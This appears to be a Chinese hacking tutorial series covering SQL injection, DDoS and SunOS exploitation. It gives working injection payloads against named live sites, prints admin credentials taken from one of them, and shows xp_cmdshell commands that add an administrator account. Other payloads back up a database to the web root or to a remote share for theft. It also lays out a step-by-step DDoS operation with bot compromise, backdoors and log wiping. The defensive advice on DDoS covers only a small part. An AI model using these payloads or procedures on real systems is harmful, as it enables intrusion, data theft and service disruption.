其次，根据注入参数类型，在脑海中重构 SQL 语句的原貌，按参数类型主要分为下面三种：

(A) ID=49 这类注入的参数是数字型，SQL 语句原貌大致如下：

Select * from 表名 where 字段=49

注入的参数为 ID=49 And [查询条件]，即是生成语句：

Select * from 表名 where 字段=49 And [查询条件]

(B) Class=连续剧 这类注入的参数是字符型，SQL 语句原貌大致概如下：

Select * from 表名 where 字段=’连续剧’

注入的参数为 Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(C) 搜索时没过滤参数的，如 keyword=关键字，SQL 语句原貌大致如下：

Select * from 表名 where 字段 like ’%关键字%’

注入的参数为 keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：

Select * from 表名 where 字段 like ’%’ and [查询条件] and ‘%’=’%’

接着，将查询条件替换成 SQL 语句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0

如果页面就与 ID=49 的相同，说明附加条件成立，即表 Admin 存在，反之，即不存在（请牢记这种

方法）。如此循环，直至猜到表名为止。

表名猜出来后，将 Count(*)替换成 Count(字段名)，用同样的原理猜解字段名。

有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在 100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。

有点跑题了，话说回来，对于 SQLServer 的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。

最后，在表名和列名猜解成功后，再使用 SQL 语句，得出字段的值，下面介绍一种最常用的方法－Ascii 逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。

我们举个例子，已知表 Admin 中存在 username 字段，首先，我们取第一条记录，测试长度：

http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)>0

先说明原理：如果 top 1 的 username 长度大于 0，则条件成立；接着就是>1、>2、>3 这样测试下去，一直到条件不成立为止，比如>7 成立，>8 不成立，就是 len(username)=8

当然没人会笨得从 0,1,2,3 一个个测试，怎么样才比较快就看各自发挥了。在得到 username 的长度后，用 mid(username,N,1)截取第 N 位字符，再 asc(mid(username,N,1))得到 ASCII 码，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同样也是用逐步缩小范围的方法得到第 1 位字符的 ASCII 码，注意的是英文和数字的 ASCII 码在 1-128 之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。

第二节、ＳＱＬ注入常用函数

有 SQL 语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的 SQL 水平，特别是一些常用的函数及命令。

Access：asc(字符) SQLServer：unicode(字符)

作用：返回某字符的 ASCII 码

Access：chr(数字) SQLServer：nchar(数字)

作用：与 asc 相反，根据 ASCII 码返回字符

Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)

作用：返回字符串从 N 个字符起长度为 L 的子字符串，即 N 到 N+L 之间的字符串

Access：abc(数字) SQLServer：abc (数字)

作用：返回数字的绝对值（在猜解汉字的时候会用到）

Access：A between B And C SQLServer：A between B And C

作用：判断 A 是否界于 B 与 C 之间

第三节、中文处理方法

在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。

先说一点常识：

Access 中，中文的 ASCII 码可能会出现负数，取出该负数后用 abs()取绝对值，汉字字符不变。

SQLServer 中，中文的 ASCII 为正数，但由于是 UNICODE 的双位编码，不能用函数 ascii()取得 ASCII 码，必须用函数 unicode ()返回 unicode 值，再用 nchar 函数取得对应的中文字符。

了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。

好了，今天写了这么多有点累了

大家自己看看吧 我想应该可以把你这几天学的关于 SQL 注入的种种东西作个总结吧。头脑中应该有个清晰的认识了吧

明天我们将说如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？

明天见

忘了

想再强调一点 『特征字符的用法』

我们在注入的时候,通常是在网址后面加 and 1=1 和 and 1=2 去测试网址是否能注入

如果可以注入,一般有下面两种情况:

A. and 1=1 正常, and 1=2 报 HTTP 错误,这种情况,NBSI 可以自动做出判断,无需输入特征字符

B. and 1=1 正常, and 1=2 提示"找不到此记录"之类的提示,但不报 HTTP 错误,这时,就需要我们输入一个"特征字符",来帮助程序识别所传入的 SQL 语句执行结果是 True 还是 False

简单的说,"特征字符"就是 and 1=1 页面中包含有而 and 1=2 页面中不包含有的字符串.

『第 22 天』SQL 注入攻击继续深化

利用系统表注入 SQLServer 数据库‘

SQLServer 是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方

便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分号;在 SQLServer 中表示隔开前后两句语句，--表示后面的语句为注释，所以，这句语句在 SQLServer 中将被分成两句执行，先是 Select 出 ID=1 的记录，然后执行存储过程 xp_cmdshell，这个存储过程用于调用系统命令，于是，用 net 命令新建了用户名为 name、密码为 password 的 windows 的帐号，接着：

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

将新建的帐号 name 加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用 sa 连接数据库的情况，否则，是没有权限调用 xp_cmdshell 的。

③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有个类似的例子 and user>0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。

④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

这是相当狠的一招，从③拿到的数据库名，加上某些 IIS 出错暴露出的绝对路径，将数据库备份到 Web 目录下面，再用 HTTP 把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。

⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面说过，sysobjects 是 SQLServer 的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与 0 比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

从⑤拿到表名后，用 object_id(‘表名’)获取表名对应的内部 ID，col_name(表名 ID,1)代表该表的第 1 个字段名，将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。

以上 6 点是我研究 SQLServer 注入以来的心血结晶，可以看出，对 SQLServer 的了解程度，直接影响着成功率及猜解速度。

二

有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。

在前面的 SQL 一般注入中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入 SQLServer 数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：

简单的如 where xtype=’U’，字符 U 对应的 ASCII 码是 85，所以可以用 where xtype=char(85)代替；如果字符是中文的，比如 where name=’用户’，可以用 where name=nchar(29992)+nchar(25143)代替。

三 经典中的经典

经验小结

1.有些人会过滤 Select、Update、Delete 这些关键字，但偏偏忘记区分大小写，所以大家可以用 selecT 这样尝试一下。

2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。

3.特别注意：地址栏的+号传入程序后解释为空格，%2B 解释为+号，%25 解释为%号，具体可以参考 URLEncode 的相关介绍。

4.用 Get 方法注入时，IIS 会记录你所有的提交字符串，对 Post 方法做则不记录，所以能用 Post 的网址尽量不用 Get。

5. 猜解 Access 时只能用 Ascii 逐字解码法，SQLServer 也可以用这种方法，只需要两者之间的区别即可，但是如果能用 SQLServer 的报错信息把值暴露出来，那效率和准确率会有极大的提高。

『第 23 天』SQL 注入黑客防线网站实例分析

以下为全文转载

今天到黑防站上去看看文章，可能出于“职业”习惯，看到?classid=1 之类的东东就不由自主的想加点什么参数进去。

当在页面 http://www.hacker.com.cn/article/index.asp?classid=3&Nclassid=13 加上① and 1=1 和② and 1=2，都提示“处理 URL 时服务器上出错。请和系统管理员联络”，看起来象已经过滤了非法提交，IIS 也关闭了错误提示，再加上一个③单引号’的时候，也出同样的错误提示，然而明显与前两个错误提示不同，因为前者显示了黑客防线的 Logo 才提示错误，后者则是一个空白的错误提示页。

这可是我从来没碰到过的特殊情况，到底能不能注入呢？

换个角度，从程序员的思路是怎么写这段程序的。首先，如果是用 cint 之类函数，那三种测试方法错误提示应该是完全一样的；如果没过滤的话，①②的结果应该是不一样的。排除了几种情况，最后觉得极可能是部分语句过滤，出现这种情况很可能是 cint 语句不小心放到 SQL 语句的后面，在 SQL 语句通过后，后面的语句报错。

虽然还不很确定实际的程序是怎么写的，但可以确定，这确实是一个注入点！

根据我写的《SQL 注入漏洞全接触》，下一步就是判断数据库类型，因为错误提示都被屏蔽，只能通过系统表测试了，输入：

http://www.hacker.com.cn/article/index.asp?classid=1 and (Select count(1) from sysobjects)>=0

提示出错，没出现 Logo，说明是语句本身有错，极可能是表 sysobjects 不存在，也就是说数据库是 Access，再拿一个 Access 应有的系统表试试（msysobjects 在这个时候派不上用场，因为在 Web 下没有权限读取，SQL 语句同样不能通过，所以，必须换个有权限的表如 MSysAccessObjects），果然，出现了黑防的 Logo，证实数据库确实是 Access。

接下来的猜解就比较简单了，用(count(1) from admin)>=0 测试出 admin 表存在，表中有

username、password 字段。本来以为下面就是用最普通的 Ascii 解码法猜解记录，小 Case，没想到，一开始猜解，才发现这是最难啃的一块骨头：传统的 Ascii 对比中，无论条件是否成立，语句都是可以正确执行的，它是利用 ASP 的出错而非 SQL 语句的出错来发现错误的，在这个页面，不管你成不成立，都是显示一个 Logo 然后报错，根据无法做出判断。

冥思苦想了半个钟头，终于想出一种方法，让 SQL 语句有条件的报错，先看看语句：

http://www.hacker.com.cn/article/index.asp?classid=1 and

(select top 1 iif(asc(mid(username,1,1))>96,1,username) from admin)>0

写出这个语句的时候，连我自己都好崇拜我自己，哈哈，别吐，解释一下，asc(mid(username,1,1))这个都看得懂，取 username 第一位的 ASCII 码，大于 96 的话，select 出数字 1，小于等于 96 的话，select 输出字符串 username，然后，拿 select 出的值与 0 比较。

1 与 0 都是数字型，当 ASCII 码大于 96 的时候，SQL 语句不会出错；username 则是字符型，当 ASCII 码小于等于 96 的时候，SQL 语句会出错。所以，两种情况的出错提示是不同的，我们可以根据出错提示判断语句是否成立，从而逐步缩小每一位字符的范围，得出 username 的值。

于是，根据上面所说的方法，得出 username 的值为：chr(98)+ chr(114)+ chr(105)+ chr(103)+ chr(104)+ chr(116)=bright，password 的值为 chr(109)+ chr(105)+ chr(110)+ chr(103)+ chr(116)+ chr(105) + chr(97)+ chr(110)=mingtian，解码完成。

[第 24 天]DDOS 攻击

今天我们来说说 DDOS 攻击 这里我不准备提供任何工具的下载地址 因为我反对不聊的攻击 如果你攻击反华网站还差不多

其实在前几天我总结过网络攻击的几种形式（详见：http://www.91one.net/dvbbs/dispbbs.asp?boardID=16&ID=698） 也就几种：1。务拒绝攻击------死亡之 ping （ping of death） 泪滴（teardrop） UDP 洪水（UDP flood）

SYN 洪水（SYN flood）--现在最流行的 DDOS 攻击的一种

Land 攻击 Smurf 攻击 Fraggle 攻击 电子邮件炸弹畸形消息攻击

2。利用型攻击

3。信息收集型攻击

4。假消息攻击

这里我就不详细说明了 大家可以参考上篇文章

当然 DDOS 是属于网络攻击里的 我是这么理解的 有的人把网络攻击和 DDOS 攻击连同是 不对的 虽然现在主要是才用 DDOS 但也不能“抹杀”其他一些攻击方式的辉煌啊

要想理解 DDoS 的概念，我们就必须先介绍一下 DoS（拒绝服务），DoS 的英文全称是 Denial of Service，也就是“拒绝服务”的意思。从网络攻击的各种方法和所产生的破坏情况来看，DoS 算是一种很简单但又很有效的进攻方式。它的目的就是拒绝你的服务访问，破坏组织的正常运行，最终它会使你的部分 Internet 连接和网络系统失效。DoS 的攻击方式有很多种，最基本的 DoS 攻击就是利

用合理的服务请求来占用过多的服务资源，从而使合法用户无法得到服务。DoS 攻击的原理如图 1 所示。

从图 1 我们可以看出 DoS 攻击的基本过程：首先攻击者向服务器发送众多的带有虚假地址的请求，服务器发送回复信息后等待回传信息，由于地址是伪造的，所以服务器一直等不到回传的消息，分配给这次请求的资源就始终没有被释放。当服务器等待一定的时间后，连接会因超时而被切断，攻击者会再度传送新的一批请求，在这种反复发送伪地址请求的情况下，服务器资源最终会被耗尽。

DDoS 攻击手段是在传统的 DoS 攻击基础之上产生的一类攻击方式。单一的 DoS 攻击一般是采用一对一方式的，当攻击目标 CPU 速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展，计算机的处理能力迅速增长，内存大大增加，同时也出现了千兆级别的网络，这使得 DoS 攻击的困难程度加大了-目标对恶意攻击包的"消化能力"加强了不少，例如你的攻击软件每秒钟可以发送 3,000 个攻击包，但我的主机与网络带宽每秒钟可以处理 10,000 个攻击包，这样一来攻击就不会产生什么效果。

这时侯分布式的拒绝服务攻击手段（DDoS）就应运而生了。你理解了 DoS 攻击的话，它的原理就很简单。如果说计算机与网络的处理能力加大了 10 倍，用一台攻击机来攻击不再能起作用的话，攻击者使用 10 台攻击机同时攻击呢？用 100 台呢？DDoS 就是利用更多的傀儡机来发起进攻，以比从前更大的规模来进攻受害者。

高速广泛连接的网络给大家带来了方便，也为 DDoS 攻击创造了极为有利的条件。在低速网络时代时，黑客占领攻击用的傀儡机时，总是会优先考虑离目标网络距离近的机器，因为经过路由器的跳数少，效果好。而现在电信骨干节点之间的连接都是以 G 为级别的，大城市之间更可以达到 2.5G 的连接，这使得攻击可以从更远的地方或者其他城市发起，攻击者的傀儡机位置可以在分布在更大的范围，选择起来更灵活了。

被 DDoS 攻击时的现象

被攻击主机上有大量等待的 TCP 连接

网络中充斥着大量的无用的数据包，源地址为假

制造高流量无用数据，造成网络拥塞，使受害主机无法正常和外界通讯

利用受害主机提供的服务或传输协议上的缺陷，反复高速的发出特定的服务请求，使受害主机无法及时处理所有正常请求

严重时会造成系统死机

攻击运行原理

如图,一个比较完善的 DDoS 攻击体系分成四大部分，先来看一下最重要的第 2 和第 3 部分：它们分别用做控制和实际发起攻击。请注意控制机与攻击机的区别，对第 4 部分的受害者来说，DDoS 的实际攻击包是从第 3 部分攻击傀儡机上发出的，第 2 部分的控制机只发布命令而不参与实际的攻击。对第 2 和第 3 部分计算机，黑客有控制权或者是部分的控制权，并把相应的 DDoS 程序上传到这些平台上，这些程序与正常的程序一样运行并等待来自黑客的指令，通常它还会利用各种手段隐藏自己不被别人发现。在平时，这些傀儡机器并没有什么异常，只是一旦黑客连接到它们进行控制，并发出指令的时候，攻击傀儡机就成为害人者去发起攻击了。

有的朋友也许会问道："为什么黑客不直接去控制攻击傀儡机，而要从控制傀儡机上转一下呢？"。这就是导致 DDoS 攻击难以追查的原因之一了。做为攻击者的角度来说，肯定不愿意被捉到,而攻击

者使用的傀儡机越多，他实际上提供给受害者的分析依据就越多。在占领一台机器后，高水平的攻击者会首先做两件事：1. 考虑如何留好后门（我以后还要回来的哦）！2. 如何清理日志。这就是擦掉脚印，不让自己做的事被别人查觉到。比较不敬业的黑客会不管三七二十一把日志全都删掉，但这样的话网管员发现日志都没了就会知道有人干了坏事了，顶多无法再从日志发现是谁干的而已。相反，真正的好手会挑有关自己的日志项目删掉，让人看不到异常的情况。这样可以长时间地利用傀儡机。

但是在第 3 部分攻击傀儡机上清理日志实在是一项庞大的工程，即使在有很好的日志清理工具的帮助下，黑客也是对这个任务很头痛的。这就导致了有些攻击机弄得不是很干净，通过它上面的线索找到了控制它的上一级计算机，这上级的计算机如果是黑客自己的机器，那么他就会被揪出来了。但如果这是控制用的傀儡机的话，黑客自身还是安全的。控制傀儡机的数目相对很少，一般一台就可以控制几十台攻击机，清理一台计算机的日志对黑客来讲就轻松多了，这样从控制机再找到黑客的可能性也大大降低。

如何组织一次 DDoS 攻击的？

这里用"组织"这个词，是因为 DDoS 并不象入侵一台主机那样简单。一般来说，黑客进行 DDoS 攻击时会经过这样的步骤：

1. 搜集了解目标的情况

下列情况是黑客非常关心的情报：

被攻击目标主机数目、地址情况

目标主机的配置、性能

目标的带宽

对于 DDoS 攻击者来说，攻击互联网上的某个站点，如 http://www.WWWW.com，有一个重点就是确定到底有多少台主机在支持这个站点，一个大的网站可能有很多台主机利用负载均衡技术提供同一个网站的 www 服务。以 yahoo 为例，一般会有下列地址都是提供 http://www.WWW.com 服务的：

66.218.71.87

66.218.71.88

66.218.71.89

66.218.71.80

66.218.71.81

66.218.71.83

66.218.71.84

66.218.71.86

如果要进行 DDoS 攻击的话，应该攻击哪一个地址呢？使 66.218.71.87 这台机器瘫掉，但其他的主机还是能向外提供 www 服务，所以想让别人访问不到 http://www.WWW.com 的话，要所有这些 IP

地址的机器都瘫掉才行。在实际的应用中，一个 IP 地址往往还代表着数台机器：网站维护者使用了四层或七层交换机来做负载均衡，把对一个 IP 地址的访问以特定的算法分配到下属的每个主机上去。这时对于 DDoS 攻击者来说情况就更复杂了，他面对的任务可能是让几十台主机的服务都不正常。

所以说事先搜集情报对 DDoS 攻击者来说是非常重要的，这关系到使用多少台傀儡机才能达到效果的问题。简单地考虑一下，在相同的条件下，攻击同一站点的 2 台主机需要 2 台傀儡机的话，攻击 5 台主机可能就需要 5 台以上的傀儡机。有人说做攻击的傀儡机越多越好，不管你有多少台主机我都用尽量多的傀儡机来攻就是了，反正傀儡机超过了时候效果更好。

但在实际过程中，有很多黑客并不进行情报的搜集而直接进行 DDoS 的攻击，这时候攻击的盲目性就很大了，效果如何也要*运气。其实做黑客也象网管员一样，是不能偷懒的。一件事做得好与坏，态度最重要，水平还在其次。

2. 占领傀儡机

黑客最感兴趣的是有下列情况的主机：

链路状态好的主机

性能好的主机

安全管理水平差的主机

这一部分实际上是使用了另一大类的攻击手段：利用形攻击。这是和 DDoS 并列的攻击方式。简单地说，就是占领和控制被攻击的主机。取得最高的管理权限，或者至少得到一个有权限完成 DDoS 攻击任务的帐号。对于一个 DDoS 攻击者来说，准备好一定数量的傀儡机是一个必要的条件，下面说一下他是如何攻击并占领它们的。

首先，黑客做的工作一般是扫描，随机地或者是有针对性地利用扫描器去发现互联网上那些有漏洞的机器，象程序的溢出漏洞、cgi、Unicode、ftp、数据库漏洞…(简直举不胜举啊)，都是黑客希望看到的扫描结果。随后就是尝试入侵了，具体的手段就不在这里多说了，感兴趣的话网上有很多关于这些内容的文章。

总之黑客现在占领了一台傀儡机了！然后他做什么呢？除了上面说过留后门擦脚印这些基本工作之外，他会把 DDoS 攻击用的程序上载过去，一般是利用 ftp。在攻击机上，会有一个 DDoS 的发包程序，黑客就是利用它来向受害目标发送恶意攻击包的。

3. 实际攻击

经过前 2 个阶段的精心准备之后，黑客就开始瞄准目标准备发射了。前面的准备做得好的话，实际攻击过程反而是比较简单的。就象图示里的那样，黑客登录到做为控制台的傀儡机，向所有的攻击机发出命令："预备~ ，瞄准~，开火!"。这时候埋伏在攻击机中的 DDoS 攻击程序就会响应控制台的命令，一起向受害主机以高速度发送大量的数据包，导致它死机或是无法响应正常的请求。黑客一般会以远远超出受害方处理能力的速度进行攻击，他们不会"怜香惜玉"。

老到的攻击者一边攻击，还会用各种手段来监视攻击的效果，在需要的时候进行一些调整。简单些就是开个窗口不断地 ping 目标主机，在能接到回应的时候就再加大一些流量或是再命令更多的傀儡机来加入攻击。

下面我们再详细说说 SYN Flood 攻击

SYN-Flood 是目前最流行的 DDoS 攻击手段，早先的 DoS 的手段在向分布式这一阶段发展的时候也经历了浪里淘沙的过程。SYN-Flood 的攻击效果最好，应该是众黑客不约而同选择它的原因吧。那么我们一起来看看 SYN-Flood 的详细情况。

Syn Flood 原理 - 三次握手

Syn Flood 利用了 TCP/IP 协议的固有漏洞。面向连接的 TCP 三次握手是 Syn Flood 存在的基础。

TCP 连接的三次握手

如图，在第一步中，客户端向服务端提出连接请求。这时 TCP SYN 标志置位。客户端告诉服务端序列号区域合法，需要检查。客户端在 TCP 报头的序列号区中插入自己的 ISN。服务端收到该 TCP 分段后，在第二步以自己的 ISN 回应(SYN 标志置位)，同时确认收到客户端的第一个 TCP 分段(ACK 标志置位)。在第三步中，客户端确认收到服务端的 ISN(ACK 标志置位)。到此为止建立完整的 TCP 连接，开始全双工模式的数据传输过程。

Syn Flood 攻击者不会完成三次握手

假设一个用户向服务器发送了 SYN 报文后突然死机或掉线，那么服务器在发出 SYN+ACK 应答报文后是无法收到客户端的 ACK 报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送 SYN+ACK 给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为 SYN Timeout，一般来说这个时间是分钟的数量级（大约为 30 秒-2 分钟）；一个用户出现异常导致服务器的一个线程等待 1 分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的 CPU 时间和内存，何况还要不断对这个列表中的 IP 进行 SYN+ACK 的重试。实际上如果服务器的 TCP/IP 栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的 TCP 连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称做：服务器端受到了 SYN Flood 攻击（SYN 洪水攻击）。

下面我们来分析一下这些经典的黑客程序。

1、Trinoo

Trinoo 的攻击方法是向被攻击目标主机的随机端口发出全零的 4 字节 UDP 包，在处理这些超出其处理能力的垃圾数据包的过程中，被攻击主机的网络性能不断下降，直到不能提供正常服务，乃至崩溃。它对 IP 地址不做假，采用的通讯端口是：

攻击者主机到主控端主机：27665/TCP

主控端主机到代理端主机：27444/UDP

代理端主机到主服务器主机：31335/UDP

2、TFN

TFN 由主控端程序和代理端程序两部分组成，它主要采取的攻击方法为：SYN 风暴、Ping 风暴、UDP 炸弹和 SMURF，具有伪造数据包的能力。

3、TFN2K

TFN2K 是由 TFN 发展而来的，在 TFN 所具有的特性上，TFN2K 又新增一些特性，它的主控端和代理端的网络通讯是经过加密的，中间还可能混杂了许多虚假数据包，而 TFN 对 ICMP 的通讯没有加密。攻击方法增加了 Mix 和 Targa3。并且 TFN2K 可配置的代理端进程端口。

4、Stacheldraht

Stacheldraht 也是从 TFN 派生出来的，因此它具有 TFN 的特性。此外它增加了主控端与代理端的加密通讯能力，它对命令源作假，可以防范一些路由器的 RFC2267 过滤。Stacheldrah 中有一个内嵌的代理升级模块，可以自动下载并安装最新的代理程序。

DDoS 的监测

检测 DDoS 攻击的主要方法有以下几种：

1、根据异常情况分析

当网络的通讯量突然急剧增长，超过平常的极限值时，你可一定要提高警惕，检测此时的通讯；当网站的某一特定服务总是失败时，你也要多加注意；当发现有特大型的 ICP 和 UDP 数据包通过或数据包内容可疑时都要留神。总之，当你的机器出现异常情况时，你最好分析这些情况，防患于未然。

2、使用 DDoS 检测工具

当攻击者想使其攻击阴谋得逞时，他首先要扫描系统漏洞，目前市面上的一些网络入侵检测系统，可以杜绝攻击者的扫描行为。另外，一些扫描器工具可以发现攻击者植入系统的代理程序，并可以把它从系统中删除。

DDoS 的防范

到目前为止，进行 DDoS 攻击的防御还是比较困难的。首先，这种攻击的特点是它利用了 TCP/IP 协议的漏洞，除非你不用 TCP/IP，才有可能完全抵御住 DDoS 攻击。一位资深的安全专家给了个形象的比喻：DDoS 就好象有 1,000 个人同时给你家里打电话，这时候你的朋友还打得进来吗？

不过即使它难于防范，也不是说我们就应该逆来顺受，实际上防止 DDoS 并不是绝对不可行的事情。互联网的使用者是各种各样的，与 DDoS 做斗争，不同的角色有不同的任务。我们以下面几种角色为例：

企业网管理员

ISP、ICP 管理员

骨干网络运营商

企业网管理员

网管员做为一个企业内部网的管理者，往往也是安全员、守护神。在他维护的网络中有一些服务器需要向外提供 WWW 服务，因而不可避免地成为 DDoS 的攻击目标，他该如何做呢？可以从主机与网络设备两个角度去考虑。

主机上的设置

几乎所有的主机平台都有抵御 DoS 的设置，总结一下，基本的有几种：

关闭不必要的服务

限制同时打开的 Syn 半连接数目

缩短 Syn 半连接的 time out 时间

及时更新系统补丁

网络设备上的设置

企业网的网络设备可以从防火墙与路由器上考虑。这两个设备是到外界的接口设备，在进行防 DDoS 设置的同时，要注意一下这是以多大的效率牺牲为代价的，对你来说是否值得。

1 .防火墙

禁止对主机的非开放服务的访问

限制同时打开的 SYN 最大连接数

限制特定 IP 地址的访问

启用防火墙的防 DDoS 的属性

严格限制对外开放的服务器的向外访问

第五项主要是防止自己的服务器被当做工具去害人。

2 .路由器

以 Cisco 路由器为例

Cisco Express Forwarding（CEF）

使用 unicast reverse-path

访问控制列表（ACL）过滤

设置 SYN 数据包流量速率

升级版本过低的 ISO

为路由器建立 log server

其中使用 CEF 和 Unicast 设置时要特别注意，使用不当会造成路由器工作效率严重下降，升级 IOS 也应谨慎。路由器是网络的核心设备，与大家分享一下进行设置修改时的小经验，就是先不保存。Cisco 路由器有两份配置 startup config 和 running config，修改的时候改变的是 running config，可以让这个配置先跑一段时间（三五天的就随意啦），觉得可行后再保存配置到 startup config；而如果不满意想恢复原来的配置，用 copy start run 就行了。

ISP / ICP 管理员

ISP / ICP 为很多中小型企业提供了各种规模的主机托管业务，所以在防 DDoS 时，除了与企业网管理员一样的手段外，还要特别注意自己管理范围内的客户托管主机不要成为傀儡机。客观上说，这些托管主机的安全性普遍是很差的，有的连基本的补丁都没有打就赤膊上阵了，成为黑客最喜欢的"肉鸡"，因为不管这台机器黑客怎么用都不会有被发现的危险，它的安全管理太差了；还不必说托管的主机都是高性能、高带宽的-简直就是为 DDoS 定制的。而做为 ISP 的管理员，对托管主机是没有直接管理的权力的，只能通知让客户来处理。在实际情况时，有很多客户与自己的托管主机服务商配合得不是很好，造成 ISP 管理员明知自己负责的一台托管主机成为了傀儡机，却没有什么办法的局面。而托管业务又是买方市场，ISP 还不敢得罪客户，怎么办？咱们管理员和客户搞好关系吧，没办法，谁让人家是上帝呢？呵呵，客户多配合一些，ISP 的主机更安全一些，被别人告状的可能性也小一些。

骨干网络运营商

这个我们就不说了

因为我们都不是骨干运营商

『第 26 天』Sunos （一）

今天我想给大家介绍的是 Sunos 。 Sunos 是一个非常好的 Unix 操作系统，功能强大。很多大型公司都采用此系统作为服务器系统。（例如：sina、163 等。）至于它的漏洞，也是多不胜数的了。今天我就介绍一下这个系统的漏洞。

Unix：Unix 操作系统自 70 年代由贝尔实验室推出以来，80 年代经过大学、研究所、工业实验室的应用和发展，现已成为全球各大学、研究所及工业研究室、计算机网络通信、工作站系统的主流工具，并开始进入商业市场和个人电脑领域。尤其是美国在 1994 年率先提出信息高速公路（Information Super Highway）的构想，更 UNIX 的发展应用推波助澜。到目前为止 UNIX 用户已经达到 200 万户，其成长速度之惊人，前所未有。UNIX 提供多用户、多任务的操作环境，其网络工具使计算机远程通信、并行处理、资源分配等有了更广阔的应用前景。尤其是它的 X Window 系统函盖了传统的 DOS 命令行和视窗系统的优点。

Solaris 与 Sunos 的版本转换：

Solaris 8 = Sunos 5.8，Solaris 7 = Sunos 5.7，Solaris 2.6 = Sunos 5.6，Solaris 2.5 = Sunos 5.5……

因为自 Sunos 5 以后，就叫 Solaris 了。

Solaris 也有分服务器版和个人版，它们分别是：

服务器版：sparc

个人版：x86

通常个人是不会安装 Solaris 的。

Solaris 主要的漏洞有：

远程漏洞：

RPC：

rpc.ttdbserverd ：Solaris 2.3，2.4， 2.5， 2.5.1， 2.6

rpc.cmsd：Solaris 2.5， 2.5.1， 2.6， 7

其他：

sadmind：solaris 2.6， 7

snmpXdmid：Solaris 7， 8

本地漏洞：

lpset：Solaris 2.6，7

本次范例需要的系统及程序情况如下：

操作系统：Window2000

对方操作系统：Sunos 5.7 （solaris 7）

程序（一）：lpset.c

程序（二）：Superscan 3.0

程序（二）：wipe-1.00

本机 IP：127.0.0.1

测试 IP：127.0.0.17

新程序说明：

“lpset.c”是利用 solaris 7 和 solaris 2.6 的/usr/bin/lpset -a 缓冲区溢出漏洞所写的一个 exploit。

Solaris 7 lpset -a 缓冲区溢出漏洞

Solaris 2.6 和 Solaris 7 中所带的 lpset 缺省设置了 suid root 位，它的一个执行选项"-a"在处理时存在问题，它会将提供给"-a"的参数不加判断的拷贝到一个固定大小的 buffer(900 多字节)中,当用户提供一个包含可执行代码的很长的字符串时，将导致 lpset 以 root 身份执行任意命令。尽管 lpset 缺省只允许 root 和 sysadm 组的用户执行，但是，由于溢出发生在进行执行权限判断操作之前，任意本地用户都可以利用这个漏洞获取 root 权限。

wipe-1.00：unix 和 liunx 下，一个非常好用的日志清除程序。

新名词讲解：

肉鸡：已经被攻击了，具有控制权的主机。

跳板：利用此主机作跳板，攻击其他主机。

shell：shell 是系统与用户的交换式界面。简单来说，就是系统与用户的“沟通”环境。我们平时经常用到的 DOS，就是一个 shell。（Windows2000 是 cmd.exe）

root：Unix 里最高权限的用户。也就是超级管理员。

admin：Windows NT 里最高权限的用户。也就是超级管理员。

rootshell：通过一个溢出程序，在主机溢出一个具有 root 权限的 shell。

exploit：溢出程序。exploit 里通常包含一些 shellcode。

